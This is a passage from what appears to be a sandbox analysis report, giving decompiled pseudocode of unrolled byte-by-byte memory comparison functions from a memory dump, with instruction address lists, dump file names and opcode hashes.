												if(_t305 == 0) {
													L77:
													_t246 = ( *(_t336 - 4) & 0x000000ff) - ( *(_t294 - 4) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												_t246 = (0 | _t305 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												}
												goto L77;
											}
											_t246 = (0 | _t303 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L75;
										}
										_t246 = (0 | _t301 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L73;
									}
									_t307 = (_t202 & 0x000000ff) - ( *(_t294 - 0xb) & 0x000000ff);
									if(_t307 == 0) {
										L62:
										_t309 = ( *(_t336 - 0xa) & 0x000000ff) - ( *(_t294 - 0xa) & 0x000000ff);
										if(_t309 == 0) {
											L64:
											_t311 = ( *(_t336 - 9) & 0x000000ff) - ( *(_t294 - 9) & 0x000000ff);
											if(_t311 == 0) {
												L66:
												_t246 = ( *(_t336 - 8) & 0x000000ff) - ( *(_t294 - 8) & 0x000000ff);
												if(_t246 != 0) {
													_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t246 = (0 | _t311 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L66;
										}
										_t246 = (0 | _t309 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t246 = (0 | _t307 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t313 = ( *(_t336 - 0xf) & 0x000000ff) - ( *(_t294 - 0xf) & 0x000000ff);
								if(_t313 == 0) {
									L51:
									_t315 = ( *(_t336 - 0xe) & 0x000000ff) - ( *(_t294 - 0xe) & 0x000000ff);
									if(_t315 == 0) {
										L53:
										_t317 = ( *(_t336 - 0xd) & 0x000000ff) - ( *(_t294 - 0xd) & 0x000000ff);
										if(_t317 == 0) {
											L55:
											_t246 = ( *(_t336 - 0xc) & 0x000000ff) - ( *(_t294 - 0xc) & 0x000000ff);
											if(_t246 != 0) {
												_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										_t246 = (0 | _t317 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t246 = (0 | _t315 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L53;
								}
								_t246 = (0 | _t313 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t319 = (_t200 & 0x000000ff) - ( *(_t294 - 0x13) & 0x000000ff);
							if(_t319 == 0) {
								L40:
								_t321 = ( *(_t336 - 0x12) & 0x000000ff) - ( *(_t294 - 0x12) & 0x000000ff);
								if(_t321 == 0) {
									L42:
									_t323 = ( *(_t336 - 0x11) & 0x000000ff) - ( *(_t294 - 0x11) & 0x000000ff);
									if(_t323 == 0) {
										L44:
										_t246 = ( *(_t336 - 0x10) & 0x000000ff) - ( *(_t294 - 0x10) & 0x000000ff);
										if(_t246 != 0) {
											_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t246 = (0 | _t323 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t246 = (0 | _t321 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L42;
							}
							_t246 = (0 | _t319 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t325 = (_t199 & 0x000000ff) - ( *(_t294 - 0x17) & 0x000000ff);
						if(_t325 == 0) {
							L29:
							_t327 = ( *(_t336 - 0x16) & 0x000000ff) - ( *(_t294 - 0x16) & 0x000000ff);
							if(_t327 == 0) {
								L31:
								_t329 = ( *(_t336 - 0x15) & 0x000000ff) - ( *(_t294 - 0x15) & 0x000000ff);
								if(_t329 == 0) {
									L33:
									_t246 = ( *(_t336 - 0x14) & 0x000000ff) - ( *(_t294 - 0x14) & 0x000000ff);
									if(_t246 != 0) {
										_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								_t246 = (0 | _t329 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t246 = (0 | _t327 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L31;
						}
						_t246 = (0 | _t325 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t331 = (_t198 & 0x000000ff) - ( *(_t294 - 0x1b) & 0x000000ff);
					if(_t331 == 0) {
						L18:
						_t333 = ( *(_t336 - 0x1a) & 0x000000ff) - ( *(_t294 - 0x1a) & 0x000000ff);
						if(_t333 == 0) {
							L20:
							_t335 = ( *(_t336 - 0x19) & 0x000000ff) - ( *(_t294 - 0x19) & 0x000000ff);
							if(_t335 == 0) {
								L22:
								_t246 = ( *(_t336 - 0x18) & 0x000000ff) - ( *(_t294 - 0x18) & 0x000000ff);
								if(_t246 != 0) {
									_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t246 = (0 | _t335 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L22;
						}
						_t246 = (0 | _t333 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L20;
					}
					_t246 = (0 | _t331 > 0x00000000) * 2 - 1;
					if(_t246 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi =  *(__esi - 0x1f) & 0x000000ff;
					__edi = ( *(__esi - 0x1f) & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							if(__edi == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L11;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L9;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t197 = _t246;
				return _t197;
			}

0x013bfa6a
0x013bfa6a
0x013bfa70
0x013bfaf8
0x013bfafa
0x013bfafc
0x00000000
0x00000000
0x013bfb02
0x013bfb08
0x013bfb8f
0x013bfb91
0x013bfb93
0x00000000
0x00000000
0x013bfb99
0x013bfb9f
0x013bfc26
0x013bfc28
0x013bfc2a
0x00000000
0x00000000
0x013bfc30
0x013bfc36
0x013bfcbd
0x013bfcbf
0x013bfcc1
0x00000000
0x00000000
0x013bfccd
0x013bfd55
0x013bfd57
0x013bfd59
0x00000000
0x00000000
0x013bfd5f
0x013bfd65
0x013bfdec
0x013bfdee
0x013bfdf0
0x00000000
0x00000000
0x013bfdf6
0x013bfdfc
0x013bfe83
0x013bfe85
0x013bfe87
0x00000000
0x00000000
0x013bfe95
0x013bfe97
0x013bfeaf
0x013bfeb7
0x013bfeb9
0x013bf612
0x013bf61a
0x013bf61c
0x013bf629
0x013bf629
0x00000000
0x013bf61c
0x013bfec6
0x013bf60c
0x00000000
0x00000000
0x00000000
0x00000000
0x013bf60c
0x013bfea0
0x013bfea9
0x00000000
0x00000000
0x00000000
0x013bfea9
0x013bfe09
0x013bfe0b
0x013bfe23
0x013bfe2b
0x013bfe2d
0x013bfe45
0x013bfe4d
0x013bfe4f
0x013bfe67
0x013bfe6f
0x013bfe71
0x013bfe7a
0x013bfe7a
0x00000000
0x013bfe71
0x013bfe58
0x013bfe61
0x00000000
0x00000000
0x00000000
0x013bfe61
0x013bfe36
0x013bfe3f
0x00000000
0x00000000
0x00000000
0x013bfe3f
0x013bfe14
0x013bfe1d
0x00000000
0x00000000
0x00000000
0x013bfe1d
0x013bfd72
0x013bfd74
0x013bfd8c
0x013bfd94
0x013bfd96
0x013bfdae
0x013bfdb6
0x013bfdb8
0x013bfdd0
0x013bfdd8
0x013bfdda
0x013bfde3
0x013bfde3
0x00000000
0x013bfdda
0x013bfdc1
0x013bfdca
0x00000000
0x00000000
0x00000000
0x013bfdca
0x013bfd9f
0x013bfda8
0x00000000
0x00000000
0x00000000
0x013bfda8
0x013bfd7d
0x013bfd86
0x00000000
0x00000000
0x00000000
0x013bfd86
0x013bfcdb
0x013bfcdd
0x013bfcf5
0x013bfcfd
0x013bfcff
0x013bfd17
0x013bfd1f
0x013bfd21
0x013bfd39
0x013bfd41
0x013bfd43
0x013bfd4c
0x013bfd4c
0x00000000
0x013bfd43
0x013bfd2a
0x013bfd33
0x00000000
0x00000000
0x00000000
0x013bfd33
0x013bfd08
0x013bfd11
0x00000000
0x00000000
0x00000000
0x013bfd11
0x013bfce6
0x013bfcef
0x00000000
0x00000000
0x00000000
0x013bfcef
0x013bfc43
0x013bfc45
0x013bfc5d
0x013bfc65
0x013bfc67
0x013bfc7f
0x013bfc87
0x013bfc89
0x013bfca1
0x013bfca9
0x013bfcab
0x013bfcb4
0x013bfcb4
0x00000000
0x013bfcab
0x013bfc92
0x013bfc9b
0x00000000
0x00000000
0x00000000
0x013bfc9b
0x013bfc70
0x013bfc79
0x00000000
0x00000000
0x00000000
0x013bfc79
0x013bfc4e
0x013bfc57
0x00000000
0x00000000
0x00000000
0x013bfc57
0x013bfbac
0x013bfbae
0x013bfbc6
0x013bfbce
0x013bfbd0
0x013bfbe8
0x013bfbf0
0x013bfbf2
0x013bfc0a
0x013bfc12
0x013bfc14
0x013bfc1d
0x013bfc1d
0x00000000
0x013bfc14
0x013bfbfb
0x013bfc04
0x00000000
0x00000000
0x00000000
0x013bfc04
0x013bfbd9
0x013bfbe2
0x00000000
0x00000000
0x00000000
0x013bfbe2
0x013bfbb7
0x013bfbc0
0x00000000
0x00000000
0x00000000
0x013bfbc0
0x013bfb15
0x013bfb17
0x013bfb2f
0x013bfb37
0x013bfb39
0x013bfb51
0x013bfb59
0x013bfb5b
0x013bfb73
0x013bfb7b
0x013bfb7d
0x013bfb86
0x013bfb86
0x00000000
0x013bfb7d
0x013bfb64
0x013bfb6d
0x00000000
0x00000000
0x00000000
0x013bfb6d
0x013bfb42
0x013bfb4b
0x00000000
0x00000000
0x00000000
0x013bfb4b
0x013bfb20
0x013bfb29
0x00000000
0x00000000
0x00000000
0x013bfa76
0x013bfa7a
0x013bfa7e
0x013bfa80
0x013bfa98
0x013bfa98
0x013bfaa0
0x013bfaa2
0x013bfaba
0x013bfaba
0x013bfac2
0x013bfac4
0x013bfadc
0x013bfadc
0x013bfae4
0x013bfae6
0x013bfaef
0x013bfaef
0x00000000
0x013bfae6
0x013bfaca
0x013bfacd
0x013bfad6
0x00000000
0x00000000
0x00000000
0x013bfad6
0x013bfaa8
0x013bfaab
0x013bfab4
0x00000000
0x00000000
0x00000000
0x013bfab4
0x013bfa86
0x013bfa89
0x013bfa92
0x00000000
0x00000000
0x00000000
0x013bfa92
0x013bf1f8
0x013bf1f8
0x013bffe9

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 4a59020c1a24a833365c4f729ccf10c56c38eeaf40d86cc051eb293946d305fb
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 65C1993220519309EF1E463DCCB40BEFFA95A936B531A276DD6B2DB9D6FE20C124D610

Uniqueness

Uniqueness Score: -1.00%

Function 013BF200 Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013BF200(void* __edx, void* __esi) {
				signed int _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				void* _t275;
				void* _t278;
				void* _t280;
				void* _t282;
				void* _t284;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t313;

				_t313 = __esi;
				_t275 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					_t231 = 0;
					L11:
					if(_t231 != 0) {
						goto L1;
					}
					_t185 =  *(_t313 - 0x19);
					if(_t185 ==  *(_t275 - 0x19)) {
						_t231 = 0;
						L22:
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t313 - 0x15);
						if(_t186 ==  *(_t275 - 0x15)) {
							_t231 = 0;
							L33:
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t313 - 0x11);
							if(_t187 ==  *(_t275 - 0x11)) {
								_t231 = 0;
								L44:
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t313 - 0xd);
								if(_t188 ==  *(_t275 - 0xd)) {
									_t231 = 0;
									L55:
									if(_t231 != 0) {
										goto L1;
									}
									if( *(_t313 - 9) ==  *(_t275 - 9)) {
										_t231 = 0;
										L66:
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t313 - 5);
										if(_t190 ==  *(_t275 - 5)) {
											_t231 = 0;
											L77:
											if(_t231 == 0) {
												_t231 = ( *(_t313 - 1) & 0x000000ff) - ( *(_t275 - 1) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										_t278 = (_t190 & 0x000000ff) - ( *(_t275 - 5) & 0x000000ff);
										if(_t278 == 0) {
											L70:
											_t280 = ( *(_t313 - 4) & 0x000000ff) - ( *(_t275 - 4) & 0x000000ff);
											if(_t280 == 0) {
												L72:
												_t282 = ( *(_t313 - 3) & 0x000000ff) - ( *(_t275 - 3) & 0x000000ff);
												if(_t282 == 0) {
													L74:
													_t231 = ( *(_t313 - 2) & 0x000000ff) - ( *(_t275 - 2) & 0x000000ff);
													if(_t231 != 0) {
														_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												_t231 = (0 | _t282 > 0x00000000) * 2 - 1;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											_t231 = (0 | _t280 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | _t278 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t284 = ( *(_t313 - 9) & 0x000000ff) - ( *(_t275 - 9) & 0x000000ff);
									if(_t284 == 0) {
										L59:
										_t286 = ( *(_t313 - 8) & 0x000000ff) - ( *(_t275 - 8) & 0x000000ff);
										if(_t286 == 0) {
											L61:
											_t288 = ( *(_t313 - 7) & 0x000000ff) - ( *(_t275 - 7) & 0x000000ff);
											if(_t288 == 0) {
												L63:
												_t231 = ( *(_t313 - 6) & 0x000000ff) - ( *(_t275 - 6) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | _t288 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t231 = (0 | _t286 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t231 = (0 | _t284 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t290 = (_t188 & 0x000000ff) - ( *(_t275 - 0xd) & 0x000000ff);
								if(_t290 == 0) {
									L48:
									_t292 = ( *(_t313 - 0xc) & 0x000000ff) - ( *(_t275 - 0xc) & 0x000000ff);
									if(_t292 == 0) {
										L50:
										_t294 = ( *(_t313 - 0xb) & 0x000000ff) - ( *(_t275 - 0xb) & 0x000000ff);
										if(_t294 == 0) {
											L52:
											_t231 = ( *(_t313 - 0xa) & 0x000000ff) - ( *(_t275 - 0xa) & 0x000000ff);
											if(_t231 != 0) {
												_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										_t231 = (0 | _t294 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t231 = (0 | _t292 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | _t290 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t296 = (_t187 & 0x000000ff) - ( *(_t275 - 0x11) & 0x000000ff);
							if(_t296 == 0) {
								L37:
								_t298 = ( *(_t313 - 0x10) & 0x000000ff) - ( *(_t275 - 0x10) & 0x000000ff);
								if(_t298 == 0) {
									L39:
									_t300 = ( *(_t313 - 0xf) & 0x000000ff) - ( *(_t275 - 0xf) & 0x000000ff);
									if(_t300 == 0) {
										L41:
										_t231 = ( *(_t313 - 0xe) & 0x000000ff) - ( *(_t275 - 0xe) & 0x000000ff);
										if(_t231 != 0) {
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | _t300 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t231 = (0 | _t298 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t231 = (0 | _t296 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t302 = (_t186 & 0x000000ff) - ( *(_t275 - 0x15) & 0x000000ff);
						if(_t302 == 0) {
							L26:
							_t304 = ( *(_t313 - 0x14) & 0x000000ff) - ( *(_t275 - 0x14) & 0x000000ff);
							if(_t304 == 0) {
								L28:
								_t306 = ( *(_t313 - 0x13) & 0x000000ff) - ( *(_t275 - 0x13) & 0x000000ff);
								if(_t306 == 0) {
									L30:
									_t231 = ( *(_t313 - 0x12) & 0x000000ff) - ( *(_t275 - 0x12) & 0x000000ff);
									if(_t231 != 0) {
										_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								_t231 = (0 | _t306 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t308 = (_t185 & 0x000000ff) - ( *(_t275 - 0x19) & 0x000000ff);
					if(_t308 == 0) {
						L15:
						_t310 = ( *(_t313 - 0x18) & 0x000000ff) - ( *(_t275 - 0x18) & 0x000000ff);
						if(_t310 == 0) {
							L17:
							_t312 = ( *(_t313 - 0x17) & 0x000000ff) - ( *(_t275 - 0x17) & 0x000000ff);
							if(_t312 == 0) {
								L19:
								_t231 = ( *(_t313 - 0x16) & 0x000000ff) - ( *(_t275 - 0x16) & 0x000000ff);
								if(_t231 != 0) {
									_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							_t231 = (0 | _t312 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | _t310 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | _t308 > 0x00000000) * 2 - 1;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							if(__edi == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x013bf200
0x013bf200
0x013bf206
0x013bf27d
0x013bf27f
0x013bf281
0x00000000
0x00000000
0x013bf287
0x013bf28d
0x013bf314
0x013bf316
0x013bf318
0x00000000
0x00000000
0x013bf31e
0x013bf324
0x013bf3ab
0x013bf3ad
0x013bf3af
0x00000000
0x00000000
0x013bf3b5
0x013bf3bb
0x013bf442
0x013bf444
0x013bf446
0x00000000
0x00000000
0x013bf44c
0x013bf452
0x013bf4d9
0x013bf4db
0x013bf4dd
0x00000000
0x00000000
0x013bf4e9
0x013bf571
0x013bf573
0x013bf575
0x00000000
0x00000000
0x013bf57b
0x013bf581
0x013bf608
0x013bf60a
0x013bf60c
0x013bf61a
0x013bf61c
0x013bf629
0x013bf629
0x013bf61c
0x00000000
0x013bf60c
0x013bf58e
0x013bf590
0x013bf5a8
0x013bf5b0
0x013bf5b2
0x013bf5ca
0x013bf5d2
0x013bf5d4
0x013bf5ec
0x013bf5f4
0x013bf5f6
0x013bf5ff
0x013bf5ff
0x00000000
0x013bf5f6
0x013bf5dd
0x013bf5e6
0x00000000
0x00000000
0x00000000
0x013bf5e6
0x013bf5bb
0x013bf5c4
0x00000000
0x00000000
0x00000000
0x013bf5c4
0x013bf599
0x013bf5a2
0x00000000
0x00000000
0x00000000
0x013bf5a2
0x013bf4f7
0x013bf4f9
0x013bf511
0x013bf519
0x013bf51b
0x013bf533
0x013bf53b
0x013bf53d
0x013bf555
0x013bf55d
0x013bf55f
0x013bf568
0x013bf568
0x00000000
0x013bf55f
0x013bf546
0x013bf54f
0x00000000
0x00000000
0x00000000
0x013bf54f
0x013bf524
0x013bf52d
0x00000000
0x00000000
0x00000000
0x013bf52d
0x013bf502
0x013bf50b
0x00000000
0x00000000
0x00000000
0x013bf50b
0x013bf45f
0x013bf461
0x013bf479
0x013bf481
0x013bf483
0x013bf49b
0x013bf4a3
0x013bf4a5
0x013bf4bd
0x013bf4c5
0x013bf4c7
0x013bf4d0
0x013bf4d0
0x00000000
0x013bf4c7
0x013bf4ae
0x013bf4b7
0x00000000
0x00000000
0x00000000
0x013bf4b7
0x013bf48c
0x013bf495
0x00000000
0x00000000
0x00000000
0x013bf495
0x013bf46a
0x013bf473
0x00000000
0x00000000
0x00000000
0x013bf473
0x013bf3c8
0x013bf3ca
0x013bf3e2
0x013bf3ea
0x013bf3ec
0x013bf404
0x013bf40c
0x013bf40e
0x013bf426
0x013bf42e
0x013bf430
0x013bf439
0x013bf439
0x00000000
0x013bf430
0x013bf417
0x013bf420
0x00000000
0x00000000
0x00000000
0x013bf420
0x013bf3f5
0x013bf3fe
0x00000000
0x00000000
0x00000000
0x013bf3fe
0x013bf3d3
0x013bf3dc
0x00000000
0x00000000
0x00000000
0x013bf3dc
0x013bf331
0x013bf333
0x013bf34b
0x013bf353
0x013bf355
0x013bf36d
0x013bf375
0x013bf377
0x013bf38f
0x013bf397
0x013bf399
0x013bf3a2
0x013bf3a2
0x00000000
0x013bf399
0x013bf380
0x013bf389
0x00000000
0x00000000
0x00000000
0x013bf389
0x013bf35e
0x013bf367
0x00000000
0x00000000
0x00000000
0x013bf367
0x013bf33c
0x013bf345
0x00000000
0x00000000
0x00000000
0x013bf345
0x013bf29a
0x013bf29c
0x013bf2b4
0x013bf2bc
0x013bf2be
0x013bf2d6
0x013bf2de
0x013bf2e0
0x013bf2f8
0x013bf300
0x013bf302
0x013bf30b
0x013bf30b
0x00000000
0x013bf302
0x013bf2e9
0x013bf2f2
0x00000000
0x00000000
0x00000000
0x013bf2f2
0x013bf2c7
0x013bf2d0
0x00000000
0x00000000
0x00000000
0x013bf2d0
0x013bf2a5
0x013bf2ae
0x00000000
0x00000000
0x00000000
0x013bf208
0x013bf208
0x013bf20f
0x013bf211
0x013bf225
0x013bf225
0x013bf22d
0x013bf22f
0x013bf243
0x013bf243
0x013bf24b
0x013bf24d
0x013bf261
0x013bf261
0x013bf269
0x013bf26b
0x013bf274
0x013bf274
0x00000000
0x013bf26b
0x013bf253
0x013bf256
0x013bf25f
0x00000000
0x00000000
0x00000000
0x013bf25f
0x013bf235
0x013bf238
0x013bf241
0x00000000
0x00000000
0x00000000
0x013bf241
0x013bf217
0x013bf21a
0x013bf223
0x00000000
0x00000000
0x00000000
0x013bf223
0x013bf1f8
0x013bf1f8
0x013bffe9

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 20be075fba854c99c12fa977b6eea91fddd5e5b595f3651a5e91f2368909b8f3
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 93C199362051930AEF1E463DCCB40BEFEA95A936B531A276DD5B3DB8D6FE24C124C610

Uniqueness

Uniqueness Score: -1.00%

Function 013BEDE8 Relevance: .3, Instructions: 323
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013BEDE8(void* __edx, void* __esi) {
				signed char _t177;
				void* _t178;
				signed char _t179;
				signed char _t180;
				signed char _t181;
				signed char _t183;
				signed char _t184;
				void* _t228;
				void* _t278;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t322;

				_t322 = __esi;
				_t278 = __edx;
				_t177 =  *(__esi - 0x1c);
				if(_t177 ==  *(__edx - 0x1c)) {
					_t228 = 0;
					L10:
					if(_t228 != 0) {
						L78:
						_t178 = _t228;
						return _t178;
					}
					_t179 =  *(_t322 - 0x18);
					if(_t179 ==  *(_t278 - 0x18)) {
						_t228 = 0;
						L21:
						if(_t228 != 0) {
							goto L78;
						}
						_t180 =  *(_t322 - 0x14);
						if(_t180 ==  *(_t278 - 0x14)) {
							_t228 = 0;
							L32:
							if(_t228 != 0) {
								goto L78;
							}
							_t181 =  *(_t322 - 0x10);
							if(_t181 ==  *(_t278 - 0x10)) {
								_t228 = 0;
								L43:
								if(_t228 != 0) {
									goto L78;
								}
								if( *(_t322 - 0xc) ==  *(_t278 - 0xc)) {
									_t228 = 0;
									L54:
									if(_t228 != 0) {
										goto L78;
									}
									_t183 =  *(_t322 - 8);
									if(_t183 ==  *(_t278 - 8)) {
										_t228 = 0;
										L65:
										if(_t228 != 0) {
